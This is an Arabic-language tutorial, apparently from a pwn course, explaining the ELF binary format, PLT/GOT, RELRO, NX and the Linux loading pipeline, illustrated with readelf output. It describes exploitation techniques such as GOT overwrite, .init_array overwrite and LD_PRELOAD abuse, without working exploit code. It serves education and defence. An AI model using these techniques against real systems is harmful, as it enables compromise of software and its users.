ELF من الألف إلى الياء — التشريح الكامل لملفات Linux التنفيذية | The Art of Pwn
Sahm Academy / The Art of Pwn
~/blog$ cat elf-deep-dive.md
// The Art of Pwn — Module 02

تشريح ELF من الألف إلى الياء
الدليل الكامل لمهندس العكسي ومطوّر الاستغلال

يا صاحبي، إذا كنت تبي تصير عكّاس (Reverse Engineer) أو مطوّر استغلال (Exploit Developer) جاد على لينكس، لازم تعرف ملف ELF كأنه راحة يدك — بدون هذا، أنت تشتغل في الظلام. في هذا الدليل بنفصّل ELF تفصيلًا كاملًا: من أول بايت في الـ Magic Number إلى آخر relocation يسوّيها المُحمِّل، ومارّين على الـ PLT والـ GOT والحمايات الحديثة وكيف يخترقها الـ Pwners. ما هو هدفنا قراءة readelf وخلاص — هدفنا تبني عندك صورة ذهنية كاملة لكل شي يصير من لحظة execve() لين ما يشتغل main(). خلّك معي.

المستوى: متوسط → متقدم المدة: ~60 دقيقة قراءة المتطلبات: C + Linux + Assembly أساسي المعمارية: x86_64 (Linux)

[01] المقدمة — لماذا ELF؟

ما هو ELF؟

ELF اختصار لـ Executable and Linkable Format — هذا هو التنسيق الموحَّد لكل الملفات التنفيذية، والمكتبات المشتركة (.so)، والملفات الكائنية (.o)، حتى ملفات الـ core dumps على معظم أنظمة يونكس المعاصرة (Linux، FreeBSD، Solaris، Android…). يعني باختصار: أي شي "كود قابل للتنفيذ" على لينكس، هو ملف ELF بصيغة أو بأخرى. لا تستغرب.

ELF مو بس "ترويسة + كود" كذا على بعض. لا، هو عقد ثلاثي بين ثلاث أطراف: المُجمِّع (assembler) اللي يطلّع الملف، والرابط (linker) اللي يجمع عدة ملفات ELF في برنامج واحد، والمُحمِّل (loader) في نواة لينكس و ld-linux.so اللي يُحمِّل البرنامج علشان يشتغل. كل قسم وكل حقل في ELF موجود لأنّ واحد من هالأطراف الثلاثة محتاجه — مافيه شي زيادة.

لماذا وُجد ELF؟

قبل ELF كانت يونكس تستخدم تنسيقات بدائية مثل a.out و COFF. هذه التنسيقات كانت محدودة جدًا: لم تدعم الربط الديناميكي بشكل مرن، ولم تكن مرنة بما يكفي لاستيعاب الأنظمة الحديثة 64-بت، ولم تدعم الـ thread-local storage بسهولة. في عام 1995 تبنّت لينكس ELF رسميًا في الإصدار 1.2، وتركت a.out خلفها إلى الأبد.

التصميم الأساسي لـ ELF يقوم على فكرتين عبقريتين:

  • عرضان للملف ذاته: عرض الـ Sections (للرابط) وعرض الـ Segments (للمُحمِّل). الرابط يهتم بتفاصيل دقيقة (هل هذا كود؟ هل هو بيانات معاد تموضعها؟)، أما المُحمِّل فيهتم بأقل تفاصيل ممكنة (ضع هذا في الذاكرة بصلاحيات RX، وهذا بصلاحيات RW).
  • قابلية التوسّع: أُضيفت ميزات كاملة مثل الـ TLS و الـ IFUNC و الـ symbol versioning دون كسر التوافق العكسي، وذلك بفضل أنواع الأقسام والمقاطع القابلة للتمديد.

تاريخ موجز

تنسيق ELF صُمّم ضمن مشروع System V Release 4 في أواخر الثمانينيات/أوائل التسعينيات. أصبح جزءًا من معيار Tool Interface Standard (TIS) ثم من System V Application Binary Interface (SVR4 ABI). لينكس تبنّته في 1995، ومنذ ذلك الحين تطوّر كثيرًا (gABI، psABI لكل معمارية، الإضافات الخاصة بـ GNU مثل GNU_HASH و GNU_RELRO…).

ليش الهاكر يهتم بـ ELF بالذات؟

كل هجمات استغلال البايناري على لينكس — من ret2libc القديمة لين ROP الحديثة لين هجمات linker_abuse العصرية — كلها تعتمد على فهم ELF. شوف ليش:

  • الـ GOT (Global Offset Table) هي هدف الكلاسيكي للكتابة فوقها (GOT overwrite) لتحويل التحكم.
  • الـ PLT (Procedure Linkage Table) تُعطيك "أدوات جاهزة" لاستدعاء دوال libc حتى دون تسريب ASLR.
  • قسم .dynamic يحوي مؤشرات تُستخدم في هجمات متقدمة مثل DT_DEBUG abuse و linker script gadgets.
  • قسم .init_array و .fini_array يُتيحان تنفيذًا قبل main وبعده — هدف مغرٍ للكتابة فوقه في بعض السيناريوهات.
  • فهم الـ relocations يجعلك تعرف بالضبط أين سيقع كل عنوان عند التحميل، وهذا ضروري لبناء ROP chains مستقرّة.
▸ نصيحة الكبار

كل مرة تواجه تحدّي pwn، ابدأ بـ checksec ./binary وبعدها readelf -a ./binary | less. هاتين الأداتين بيعطونك خريطة كاملة لكل اللي قدامك قبل ما تبدأ. لا تخش، خذ وقتك.

ELF مقابل PE مقابل Mach-O

ثلاثة تنسيقات تنفيذية تحكم العالم اليوم. الجدول التالي يوضّح الفروقات الجوهرية:

الخاصية ELF (Linux/BSD) PE (Windows) Mach-O (macOS/iOS)
Magic 7F 45 4C 46 (\x7FELF) 4D 5A (MZ) FE ED FA CE/CF
الربط الديناميكي PLT + GOT + ld-linux.so IAT (Import Address Table) stubs + lazy binding via dyld
الفلسفة Sections vs Segments — عرضان Sections فقط Segments + Sections داخلها
التموضع المستقل PIE / PIC ASLR + DLL relocation PIE افتراضي
الانفتاح مفتوح المصدر، موثّق بالكامل مغلق نسبيًا، مع توثيق Microsoft توثيق Apple محدود

رغم اختلاف التفاصيل، الفكرة الأساسية في الثلاثة واحدة: كيف نُخزِّن كودًا قابلاً للتنفيذ ومعلومات كافية لربطه ديناميكيًا وتشغيله. لكن ELF يبقى الأنظف فلسفيًا والأكثر شفافية، وهذا ما جعله المعيار الذهبي للأكاديميا والـ CTFs.


[02] بنية ملف ELF — النظرة الشاملة

قبل الغوص في التفاصيل، دعنا نرى الصورة الكاملة. ملف ELF مُقسَّم إلى أربعة أجزاء رئيسية بترتيب منطقي على القرص:

ON-DISK VIEW offset 0x00 → end ELF Header 64 bytes (ELF64) Program Headers e_phnum × 56 B Sections Data .text .rodata .data .bss .plt .got … (الجزء الأكبر) Section Headers e_shnum × 64 B TWO VIEWS — ONE FILE Linker's View عبر Section Headers • فصل دقيق بين الأنواع • معلومات relocations • رموز symbol tables • ميتاداتا debug/notes → مفيد للأدوات والـ RE Loader's View عبر Program Headers • LOAD segments → mmap • صلاحيات RWX • INTERP → ld-linux • DYNAMIC table → أقل تفاصيل، أسرع تحميل ld (link) ar, readelf, gdb execve() kernel + ld-linux نفس الملف على القرص — لكنّ المُجمِّع والمُحمِّل يقرآنه بطريقتين مختلفتين تمامًا
Diagram 1. ELF Overall Layout — On-disk structure + Dual View Philosophy

المكوّنات الأساسية الخمسة

  1. ELF Header — أول 64 بايت دائمًا. يحدّد هوية الملف (64 أم 32 بت، معماريّته، نوعه)، ومواقع الجداول الأخرى داخل الملف.
  2. Program Header Table (PHT) — مصفوفة من الإدخالات، كل إدخال يصف مقطعًا (segment): ماذا يُحمَّل في الذاكرة، عند أي عنوان، وبأي صلاحيات. هذا ما يهتم به المُحمِّل.
  3. محتوى الأقسام — البيانات الفعلية: كود الـ .text، الثوابت في .rodata، المتغيرات في .data، إلخ. هذا هو الجزء الأكبر من الملف.
  4. Section Header Table (SHT) — مصفوفة من الإدخالات، كل إدخال يصف قسمًا (section): اسمه، نوعه، حجمه، موقعه في الملف، وعنوانه عند التحميل. هذا ما يهتم به الرابط.
  5. نقطة الدخول (Entry Point) — ليست جزءًا منفصلًا، بل عنوان مخزَّن في الـ ELF Header (e_entry) يحدّد أين يبدأ التنفيذ بعد أن يُحمَّل البرنامج. على لينكس عادةً _start وليس main مباشرة.

المفاهيم الجوهرية الأخرى

الفرق بين Section و Segment

هذا أهم سؤال يطرحه المبتدئون: "ما الفرق بين الـ section والـ segment؟" الإجابة المختصرة:

▸ القاعدة الذهبية

Section = منظور الرابط. يقسّم الملف إلى وحدات منطقية صغيرة (.text، .data، .rodata، .symtab، …).
Segment = منظور المُحمِّل. يجمع عدة sections متجاورة بنفس الصلاحيات في وحدة واحدة لتُحمَّل دفعة واحدة في الذاكرة.

ملف .o (object file) لا يحتاج إلى أن يُحمَّل في الذاكرة — يحتاج فقط للربط. لذلك ملفات .o تحتوي على sections فقط (Program Header Table فارغ). أما الملف التنفيذي النهائي فيحتوي على كليهما.

العناوين الافتراضية (Virtual Addresses) مقابل File Offsets

كل قسم وكل مقطع له موقعان مختلفان:

  • File Offset — أين يقع في الملف على القرص (مقاسًا بالبايت من بداية الملف).
  • Virtual Address (VA) — أين سيقع في ذاكرة العملية عند التحميل.

للبرامج التي بدون PIE (مثل power_greed الذي حلّلته في الكورس)، الـ VA ثابت — مثل 0x400000 لقاعدة الـ .text. أما مع PIE، الـ VA المخزّن في الملف يكون إزاحة (offset) تُضاف للقاعدة العشوائية التي يختارها ASLR وقت التشغيل.

المحاذاة (Alignment)

المعالج لا يُحب القراءة من عناوين عشوائية — يُفضّل عناوين تنقسم على 8 أو 16 أو 4096. لذا كل مقطع في ELF له حقل p_align يحدّد كيف يجب أن يُحاذى. على معظم الأنظمة 4096 (= 0x1000) لأنّ هذا هو حجم صفحة الذاكرة.

هذا التفصيل مهم للهاكر: عندما تُغيّر إزاحات في الـ binary أو تحقن segments جديدة، يجب أن تحترم المحاذاة وإلّا ستفشل العملية في الإقلاع.


[03] رأس ELF (ELF Header)

رأس ELF هو "بطاقة هوية" الملف. أول 64 بايت (في ELF64) تخبر النواة وكل أداة تقرأ الملف بكل ما تحتاج معرفته قبل أن تبدأ. إذا كان أي حقل فاسدًا، يفشل التحميل فورًا. لنفصّل كل حقل.

ELF64 HEADER — 64 BYTES e_ident[16] — Identification (الـ 16 بايت الأولى) [0..3] 7F 45 4C 46 [4] CLASS [5] DATA [6] VERSION [7] OSABI [8] ABIVER [9..15] PAD (zeros) e_type EXEC/DYN/REL/CORE e_machine x86_64, ARM, RISCV… e_version دائمًا 1 e_entry عنوان بدء التنفيذ e_phoff إزاحة Program Header Table e_shoff إزاحة Section Header Table e_flags معماري — معظمها 0 على x86 e_ehsize حجم الـ Header e_phentsize حجم PHT entry e_phnum عدد PHT entries e_shentsize حجم SHT entry e_shnum / e_shstrndx عدد SHT + idx لجدول الأسماء مفاتيح يجب أن تتذكرها: EI_CLASS = 1 → ELF32 | 2 → ELF64 e_type = ET_EXEC (2) → برنامج تنفيذي ثابت | ET_DYN (3) → PIE أو مكتبة مشتركة e_entry هو أول عنوان يُنفَّذ — وليس main(). لينكس يبدأ من _start في glibc/musl e_shoff = 0 → الأقسام مُجرَّدة (stripped). شائع في الـ malware والـ packed binaries
Diagram 2. ELF Header Structure — كل حقل في الـ 64 بايت الأولى

تفصيل الحقول

e_ident — البصمة الأولى

أول 16 بايت تحوي:

  • Magic [0..3]: دائمًا 0x7F 'E' 'L' 'F'. أي شيء آخر = الملف ليس ELF.
  • EI_CLASS [4]: 1 = ELFCLASS32، 2 = ELFCLASS64. يحدّد عرض المؤشرات.
  • EI_DATA [5]: 1 = little-endian (x86, ARM)، 2 = big-endian (بعض MIPS و PowerPC).
  • EI_VERSION [6]: دائمًا 1 (EV_CURRENT).
  • EI_OSABI [7]: 0 = System V (افتراضي لينكس)، 3 = Linux (نادرًا)، 9 = FreeBSD، إلخ.
  • EI_ABIVERSION [8]: عادةً 0.
  • Padding [9..15]: أصفار، محجوز للتوسعات المستقبلية.

e_type — ماذا يكون هذا الملف؟

القيمةالمعنىأمثلة
ET_NONE = 0غير معروف
ET_REL = 1Relocatableملفات .o
ET_EXEC = 2Executable (non-PIE)برامج قديمة، static binaries
ET_DYN = 3Shared Object / PIEكل المكتبات .so + برامج PIE
ET_CORE = 4Core dumpملفات core

e_machine — أي معالج؟

قيم شائعة: EM_X86_64 = 62 (x86_64)، EM_AARCH64 = 183 (ARM 64-bit)، EM_386 = 3 (x86 32-bit)، EM_RISCV = 243.

e_entry — نقطة الانطلاق

عنوان أول تعليمة ستُنفَّذ بعد التحميل. على لينكس مع glibc، هذا عنوان _start الذي يقوم بـ:

  1. قراءة argc و argv و envp من المكدّس.
  2. استدعاء __libc_start_main().
  3. التي بدورها تستدعي main() ثم exit().
readelf⏵ ⋅ ⋅$ readelf -h /bin/ls
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Position-Independent Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x6ab0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          140224 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         30
  Section header string table index: 29
▸ ملاحظة استغلال

لاحظ أن /bin/ls هو ET_DYN (PIE)، ونقطة الدخول 0x6ab0 هي إزاحة وليس عنوان حقيقي. ASLR سيختار قاعدة عشوائية وقت التشغيل (مثلًا 0x55c0a3e00000)، والعنوان الفعلي = base + 0x6ab0. هذه هي المعضلة الأولى التي يواجهها أي مستغلّ.


[04] الأقسام (Sections) — حيث يعيش الكود والبيانات

الأقسام هي "الغرف" المنطقية داخل ملف ELF. كل قسم له اسم (يبدأ بنقطة بالتقليد)، نوع، حجم، صلاحيات، وعنوان افتراضي. الـ Section Header Table هي القائمة التي تصف كل هذه الغرف. الأدوات مثل readelf و objdump تعتمد كليًا على هذه القائمة.

PROCESS MEMORY LAYOUT — sections at runtime [ Stack ] — ينمو لأسفل ↓ argv, environ, locals, return addresses 0x7fff… [ Heap ] — ينمو لأعلى ↑ malloc(), brk(), mmap() [ Shared Libraries ] (libc, ld-linux, …) mmap'd عند تحميل البرنامج .bss RW .data + .got RW .rodata R-- .text + .plt + .init + .fini R-X ELF Header + Program Headers (mapped) R-- 0x400000 ↓ low ↑ high أحمر = قابل للتنفيذ (Executable)أزرق = قابل للكتابة أخضر = ديناميكي وقت التشغيلبنفسجي = مكتبات مشتركة
Diagram 3. Process Memory Map — كيف تظهر أقسام ELF في الذاكرة وقت التنفيذ

الأقسام الأساسية — التفصيل الكامل

.text — لحم البرنامج

هنا يعيش الكود الفعلي: التعليمات المُجمَّعة (machine code) لكل دوال البرنامج. الصلاحيات R-X (قراءة وتنفيذ، بدون كتابة). بدون NX قديمًا، كان الهاكر يكتب shellcode على المكدّس ويُنفّذه؛ مع NX اليوم، يلجأ إلى ROP/JOP.

للهاكر: هنا تبحث عن gadgets، عن الـ win functions في تحديات CTF، وعن الـ syscalls المشفّرة.

.data — المتغيرات العامة المُهيَّأة

متغيرات global/static مع قيم أوّلية صريحة. مثل: int counter = 5;. الصلاحيات RW-. لها وجود فعلي في الملف (تأخذ مساحة على القرص).

.bss — المتغيرات العامة غير المُهيَّأة

BSS = Block Started by Symbol. متغيرات global/static بدون قيم أوّلية (أو مع قيمة صفر). مثل: int buffer[1024];. الذكاء هنا: لا تأخذ مساحة في الملف — فقط يُسجَّل حجمها، وعند التحميل تُحجز ذاكرة وتُملأ بأصفار. لذا برامج تحوي مصفوفات ضخمة غير مُهيَّأة تبقى صغيرة على القرص.

.rodata — البيانات للقراءة فقط

الـ string literals ("Hello\n")، الثوابت العامة، الـ jump tables من switch statements. الصلاحيات R--. هدف شائع للهاكر لإيجاد سلاسل مفيدة مثل /bin/sh.

.plt — Procedure Linkage Table

جداول قفز صغيرة، إدخال لكل دالة من مكتبة خارجية يستدعيها البرنامج. عندما تكتب printf() في كودك، المُجمِّع لا يستطيع وضع عنوان printf الحقيقي (فهو في libc، ولا يُعرف وقت الترجمة). بدلاً من ذلك، يضع استدعاءً لـ printf@plt — قفزة صغيرة تذهب لاحقًا إلى libc.

.got + .got.plt — Global Offset Tables

جداول من المؤشرات. .got يحوي عناوين متغيرات عامة من مكتبات خارجية. .got.plt يحوي عناوين الدوال من مكتبات خارجية — يبدأ هذا الجدول بإدخالات افتراضية تشير إلى الـ resolver في ld-linux، ثم يُحدَّث (lazy) ليشير إلى العناوين الحقيقية بعد أول استدعاء.

هذه هي الكنز الذهبي للـ Pwner. إذا تمكّنت من الكتابة في .got.plt (وهو RW قبل تفعيل Full RELRO)، يمكنك تغيير عنوان أي دالة libc — في المرة التالية التي يستدعي البرنامج strcmp، سيُنفِّذ system بدلًا منها. هذا هجوم GOT overwrite.

.dynamic — وصفة ld-linux

مصفوفة من إدخالات (tag, value) تخبر المُحمِّل بكل ما يحتاجه: ما المكتبات المطلوبة (DT_NEEDED)، أين جدول الرموز الديناميكية (DT_SYMTAB)، أين الـ relocations (DT_RELA)، أين تبدأ الـ init functions (DT_INIT_ARRAY)، إلخ. هذا القسم هو "العقل" الذي يقود الربط الديناميكي.

.dynsym + .dynstr

جدول الرموز الديناميكية وجدول السلاسل المرتبط به. كل إدخال في .dynsym يصف رمزًا (دالة أو متغير) إما يصدّره البرنامج أو يحتاجه من مكتبة. ld-linux يستخدم هذين لربط كل printf@plt بـ printf الحقيقي.

.symtab + .strtab

جدول الرموز الكامل (الذي يحوي حتى الرموز المحلية والـ static) وجدول السلاسل المرتبط به. هذا ما يُحذف عند strip! بعد التجريد، تبقى فقط .dynsym و .dynstr لأنّ النظام يحتاجهما للربط الديناميكي.

.rela.plt + .rela.dyn

جدول إعادة التموضع. .rela.plt = relocations للدوال (مرتبط بـ PLT). .rela.dyn = relocations للبيانات (مرتبط بـ GOT والمتغيرات العامة). كل إدخال يقول: "بعد التحميل، ضع العنوان X في الموقع Y".

.init + .fini

.init = كود يُنفَّذ قبل main() (تهيئة المكتبة C، constructors عالميّة).
.fini = كود يُنفَّذ بعد main() أو عند exit() (destructors).

.init_array + .fini_array

مصفوفات من مؤشرات الدوال. أحدث وأكثر مرونة من .init/.fini. كل __attribute__((constructor)) في كود C يُسجَّل هنا. للهاكر: الكتابة فوق إدخال هنا = تنفيذ كود قبل main — مفيد جدًا في تحديات heap التي تتطلب trigger لاستدعاء دوال محدّدة.

أقسام أخرى مهمّة

تفاصيل أقسام إضافية (انقر للتوسيع)
  • .interp: سلسلة تحوي مسار الـ dynamic linker — عادةً /lib64/ld-linux-x86-64.so.2. النواة تقرأ هذا وتستدعي ld-linux قبل أي شيء.
  • .eh_frame + .eh_frame_hdr: exception handling frames — يستخدمها C++ في try/catch، ويستخدمها GDB في تتبّع المكدّس.
  • .note.*: ملاحظات وميتاداتا. .note.gnu.build-id تحوي معرّفًا فريدًا للبناء، .note.ABI-tag تحدّد إصدار glibc/kernel المطلوب.
  • .comment: سلاسل غالبًا تحوي نسخة المُجمِّع. strings binary | grep GCC — قد تعطيك معلومات تجريبية مفيدة.
  • .ctors / .dtors: النسخة القديمة من .init_array / .fini_array. لا تزال موجودة في بعض البرامج القديمة.
  • .gnu.version + .gnu.version_r: لدعم symbol versioning في glibc — لماذا يمكنك ربط برنامج بـ memcpy@GLIBC_2.14 دون كسر التوافق.
  • .tdata + .tbss: Thread-Local Storage. كل thread يحصل على نسخته الخاصة.
  • .gnu.hash / .hash: جداول hash لتسريع البحث عن الرموز.
readelf⏵ ⋅ ⋅$ readelf -SW ./hello | head -25
There are 30 section headers, starting at offset 0x3848:

Section Headers:
  [Nr] Name              Type     Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL     0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS 0000000000000318 000318 00001c 00   A  0   0  1
  [ 2] .note.gnu.build-id NOTE    0000000000000338 000338 000024 00   A  0   0  4
  [ 3] .dynsym           DYNSYM   00000000000003c0 0003c0 000090 18   A  4   1  8
  [ 4] .dynstr           STRTAB   0000000000000450 000450 00007f 00   A  0   0  1
  [ 5] .rela.dyn         RELA     00000000000004f8 0004f8 0000c0 18   A  3   0  8
  [ 6] .rela.plt         RELA     00000000000005b8 0005b8 000018 18  AI  3  17  8
  [ 7] .init             PROGBITS 0000000000001000 001000 00001b 00  AX  0   0  4
  [ 8] .plt              PROGBITS 0000000000001020 001020 000020 10  AX  0   0 16
  [ 9] .text             PROGBITS 0000000000001040 001040 000175 00  AX  0   0 16
  [10] .fini             PROGBITS 00000000000011b8 0011b8 00000d 00  AX  0   0  4
  [11] .rodata           PROGBITS 0000000000002000 002000 000011 00   A  0   0  4
  [12] .eh_frame_hdr     PROGBITS 0000000000002014 002014 00003c 00   A  0   0  4
  [13] .eh_frame         PROGBITS 0000000000002050 002050 0000a8 00   A  0   0  8
  [14] .init_array       INIT_ARRAY 0000000000003db8 002db8 000008 08  WA  0   0  8
  [15] .fini_array       FINI_ARRAY 0000000000003dc0 002dc0 000008 08  WA  0   0  8
  [16] .dynamic          DYNAMIC  0000000000003dc8 002dc8 0001f0 10  WA  5   0  8
  [17] .got              PROGBITS 0000000000003fb8 002fb8 000048 08  WA  0   0  8
  [18] .got.plt          PROGBITS 0000000000004000 003000 000020 08  WA  0   0  8

لاحظ الـ Flg column: A=Allocated (يُحمَّل في الذاكرة)، X=Executable، W=Writable. هذا الـ flag مع بعضه يحدّد صلاحيات الصفحة عند التحميل.

▸ هام للاستغلال

لاحظ أن .got و .got.plt يحملان flag W — قابلين للكتابة افتراضيًا. هنا تأتي حماية RELRO: عند تفعيلها كاملًا، ld-linux يستدعي mprotect ليجعل هذه الصفحات للقراءة فقط بعد انتهاء عملية الربط الديناميكي. سنناقش هذا بالتفصيل في قسم الحمايات.


[05] المقاطع (Segments) — منظور المُحمِّل

الآن لنرى الجانب الآخر من العملة. عندما تنفّذ ./hello، النواة لا تهتمّ بـ .text أو .rodata أو .init — كل ما تريده هو: "أعطني قائمة من الكتل، كل كتلة مع عنوانها وصلاحياتها، وسأضعها في الذاكرة." هذه هي وظيفة Program Header Table.

SECTIONS (linker view) SEGMENTS (loader view) .interp .note.gnu.build-id .dynsym .dynstr .gnu.hash .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame .init_array .fini_array .dynamic .got .got.plt .data .bss LOAD (R--) قراءة فقط: ميتاداتا LOAD (R-X) كود قابل للتنفيذ LOAD (R--) .rodata DYNAMIC → .dynamic فقط LOAD (RW-) GOT, data, bss قاعدة الذهب: الأقسام التي لها نفس الصلاحيات وموقعها متجاور → تُدمج في segment واحد من نوع LOAD
Diagram 4. Sections → Segments mapping — كيف يجمع الرابط الأقسام المتشابهة

أنواع المقاطع الرئيسية

PT_LOAD — البطل الرئيسي

هذا هو النوع الوحيد الذي يُحمَّل فعليًا في الذاكرة. كل PT_LOAD يتحوّل إلى استدعاء mmap() بصلاحيات محدّدة. برنامج بسيط يحوي عادةً 4-5 من هذه:

  • واحد للميتاداتا (الـ ELF Header + Program Headers + .interp + .dynsym + ...) — صلاحيات R--
  • واحد للكود (.text + .plt + .init + .fini) — صلاحيات R-X
  • واحد للقراءة فقط (.rodata + .eh_frame) — صلاحيات R--
  • واحد للقراءة/الكتابة (.got + .data + .bss) — صلاحيات RW-

PT_DYNAMIC

يشير إلى قسم .dynamic. ld-linux يقرأه أولًا ليعرف ماذا يفعل.

PT_INTERP

يحوي مسار الـ dynamic linker (مثل /lib64/ld-linux-x86-64.so.2). النواة تقرأه ثم تستدعي هذا الـ linker.

PT_PHDR

يشير إلى Program Header Table نفسها. يبدو غريبًا (لماذا نحتاج إلى PHT تشير إلى PHT؟)، لكنه مفيد لأنّه يجعل PHT متاحًا في ذاكرة العملية، مما يُيسّر لـ ld-linux معرفة عناوين البرنامج.

PT_NOTE

يحوي ملاحظات. الأهم: NT_GNU_BUILD_ID لتحديد الإصدار، و NT_GNU_PROPERTY لميزات حماية CPU مثل CET (Shadow Stack و IBT).

PT_GNU_STACK

مقطع غريب لا يُحمَّل ولا يحوي بيانات — وجوده فقط يخبر النواة بصلاحيات المكدّس. إذا flags = RW، المكدّس لا يقبل التنفيذ (هذا هو NX). إذا flags = RWX، تنفيذ المكدّس مسموح (مفيد للهاكر، خطر للمستخدم).

bash⏵ ⋅ ⋅$ readelf -lW ./vuln | grep STACK
  GNU_STACK      0x000000 0x0000000000000000 ... RW  0x10
# RW = NX مُفعَّل، لا يمكن تنفيذ shellcode على المكدّس

$ gcc -z execstack -o vuln_nx vuln.c
$ readelf -lW ./vuln_nx | grep STACK
  GNU_STACK      0x000000 0x0000000000000000 ... RWE 0x10
# RWE = NX مُعطَّل، shellcode على المكدّس يعمل

PT_GNU_RELRO

"Read-Only after RELocation". ld-linux يستخدمه ليعرف أي صفحات يجب أن يجعلها للقراءة فقط بعد انتهاء الربط الديناميكي. سنناقش RELRO بالتفصيل في قسم الحمايات.

PT_TLS

Thread Local Storage. يصف القالب الذي تُنشأ منه نسخة TLS لكل thread.

readelf⏵ ⋅ ⋅$ readelf -lW ./hello
Program Headers:
  Type   Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR   0x000040 0x0000000000000040 0x0000000000000040 0x0002d8 0x0002d8 R    0x8
  INTERP 0x000318 0x0000000000000318 0x0000000000000318 0x00001c 0x00001c R    0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD   0x000000 0x0000000000000000 0x0000000000000000 0x0005d0 0x0005d0 R    0x1000
  LOAD   0x001000 0x0000000000001000 0x0000000000001000 0x0001c5 0x0001c5 R E  0x1000
  LOAD   0x002000 0x0000000000002000 0x0000000000002000 0x000110 0x000110 R    0x1000
  LOAD   0x002db8 0x0000000000003db8 0x0000000000003db8 0x000258 0x000260 RW   0x1000
  DYNAMIC 0x002dc8 0x0000000000003dc8 0x0000000000003dc8 0x0001f0 0x0001f0 RW    0x8
  NOTE   0x000338 0x0000000000000338 0x0000000000000338 0x000044 0x000044 R    0x4
  GNU_PROPERTY 0x000338 ... R    0x8
  GNU_EH_FRAME 0x002014 0x0000000000002014 ... R    0x4
  GNU_STACK    0x000000 ... RW   0x10
  GNU_RELRO    0x002db8 0x0000000000003db8 0x0000000000003db8 0x000248 0x000248 R    0x1
▸ ملاحظة دقيقة

لاحظ أن أحد الـ LOAD segments عنده MemSiz أكبر من FileSiz (مثلًا 0x000260 مقابل 0x000258). الفرق هو حجم .bss — لا يأخذ مساحة في الملف لكن النواة ستحجز له ذاكرة وتُصفّرها عند التحميل.


[06] المُحمِّل — رحلة الـ ELF إلى الذاكرة

لمّا تكتب ./hello في الـ shell وتضغط Enter، فيه أشياء كثيرة تصير قبل ما يطلع أول حرف على الشاشة. الـ Shell يستدعي fork() وبعدها execve("./hello", argv, envp) — ومن هنا تبدأ الرحلة الحقيقية. الـ kernel ياخذ المسؤولية: يقرا الـ ELF، يجهّز فضاء العنونة، يشغّل الـ dynamic linker، اللي بدوره يحمّل المكتبات ويسوّي الـ relocations، وأخيرًا يسلّم التحكم لـ _start وبعدها main. سلسلة طويلة، صح؟

الديناغرام التفاعلي اللي تحت يعرض كل خطوة بالتفصيل. اضغط التالي علشان تتابع الرحلة خطوة خطوة، أو تشغيل تلقائي علشان تشوف الكل دفعة وحدة:

▸ INTERACTIVE — ELF Loading Pipeline
USER shell ./hello execve() syscall #59 KERNEL load_elf_binary() parse ELF header mmap() segments PT_LOAD → memory load PT_INTERP /lib64/ld-linux* USER (ld-linux) ld-linux entry _dl_start load libs (libc…) DT_NEEDED → dlopen relocations + RELRO .rela.dyn / .rela.plt .init_array → _start main() executes exit → .fini_array
انقر "التالي" لبدء الرحلة من shell إلى main().

تفصيل كل مرحلة

المرحلة 1 — execve() syscall

الـ shell يستدعي execve("./hello", argv, envp). هذا syscall رقم 59 على x86_64. لاحظ أن العملية الحالية (shell process) سيُستبدل تنفيذها بالكامل — مساحة العنونة القديمة تُمسح، والـ PID يبقى ولكن "البرنامج" يتغيّر تمامًا.

المرحلة 2 — kernel ELF parser

النواة تقرأ الـ Magic bytes الأولى للتحقق أنّ الملف ELF (وليس script أو نمطًا آخر). دالة load_elf_binary() في fs/binfmt_elf.c هي البطل هنا. تقرأ e_type، e_machine، تتحقّق من الـ ABI compatibility، وتقرأ Program Header Table.

المرحلة 3 — mmap LOAD segments

لكل PT_LOAD، النواة تستدعي mmap() داخليًا. هذا الـ mmap لا ينسخ المحتوى مباشرة — يستخدم demand paging. أي صفحة لن تُقرأ من القرص حتى يحاول البرنامج الوصول إليها فعلًا. لذا برنامج 50 ميجابايت قد لا يقرأ منه سوى بضع كيلوبايت عند التشغيل.

المرحلة 4 — load PT_INTERP

إذا الملف ديناميكي (لديه PT_INTERP)، النواة تحمّل أيضًا ld-linux-x86-64.so.2 في فضاء العنونة. ثم بدلاً من القفز إلى e_entry الخاص ببرنامج المستخدم، تقفز إلى نقطة دخول الـ linker.

المرحلة 5 — ld-linux يستلم التحكم

الآن نحن في user space، لكن الكود الذي يعمل هو ld-linux وليس برنامج المستخدم. _dl_start هي البداية — تقوم بـ self-relocation أولًا (ld-linux نفسه يحتاج relocation)، ثم يقرأ .dynamic من برنامج المستخدم.

المرحلة 6 — تحميل المكتبات

ld-linux يقرأ كل DT_NEEDED entry في .dynamic — هذه قائمة المكتبات. يبحث عنها في LD_LIBRARY_PATH، ثم /etc/ld.so.cache، ثم المسارات الافتراضية. كل مكتبة تُحمَّل بـ mmap() بنفس الطريقة.

▸ هجوم classic

متغير البيئة LD_PRELOAD يسمح لك بحقن مكتبة قبل libc. هذا يُسمح به فقط للبرامج غير الـ setuid — حماية كلاسيكية. لكنّ تقنيات مثل LD_AUDIT abuse و proc filesystem tricks لا تزال تُستخدم لإيجاد طرق التفاف.

المرحلة 7 — Relocations + RELRO

الـ relocations هي تعديل عناوين بعد التحميل. مثلًا: في الكود، printf@plt يجب أن يعرف عنوان printf الحقيقي. ld-linux يقرأ .rela.dyn و .rela.plt ويكتب العناوين الصحيحة في .got و .got.plt.

مع RELRO الكامل، بعد انتهاء الـ relocations، ld-linux يستدعي mprotect() ليجعل .got و .dynamic للقراءة فقط.

المرحلة 8 — Constructors

ld-linux ينفّذ كل دالة في .init و .init_array. هذه تشمل constructors C++ globals، و GCC __attribute__((constructor)) functions. ثم يقفز أخيرًا إلى _start في برنامج المستخدم.

المرحلة 9 — main()

